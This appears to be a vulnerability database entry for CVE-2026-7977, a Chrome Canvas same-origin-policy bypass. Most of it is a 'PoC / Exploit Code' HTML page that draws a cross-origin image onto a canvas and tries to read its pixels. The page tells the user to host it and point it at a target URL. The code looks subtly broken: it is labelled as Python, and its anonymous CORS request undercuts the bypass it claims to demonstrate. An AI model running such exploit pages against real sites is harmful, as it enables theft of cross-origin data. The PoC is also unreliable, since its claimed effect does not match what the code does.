Inappropriate implementation in Canvas in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7977: Canvas SOP Bypass
Description: This HTML page attempts to read pixel data from a cross-origin image.
Usage: Host this and open in a vulnerable Chrome version (< 148.0.7778.96).
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7977 Canvas SOP Bypass PoC</title>
</head>
<body>
<h1>Testing Canvas Same-Origin Policy Bypass</h1>
<script>
// Define a target cross-origin resource (e.g., an image from a different domain)
// Replace with a real target URL for testing
const targetUrl = 'https://example.com/target.png';
function exploit() {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
const img = new Image();
// Set crossOrigin attribute to attempt anonymous CORS request
img.crossOrigin = 'anonymous';
img.src = targetUrl;
img.onload = function() {
canvas.width = img.width;
canvas.height = img.height;
ctx.drawImage(img, 0, 0);
try {
// Attempt to read pixel data
// In a patched browser, this will throw a security error due to tainted canvas
// In a vulnerable browser (CVE-2026-7977), this may succeed
const pixelData = ctx.getImageData(0, 0, 1, 1).data;
console.log('[+] Exploit Successful! Leaked Pixel Data:', pixelData);
alert('VULNERABLE: Leaked data: ' + JSON.stringify(pixelData));
} catch (e) {
console.log('[-] SOP Protection Active: ' + e.message);
alert('PROTECTED: Cannot access pixel data.');
}
};
img.onerror = function() {
console.log('[!] Error loading image. CORS might be blocking the request itself.');
};
}
// Trigger the exploit on load or button click
window.onload = exploit;
</script>
</body>
</html>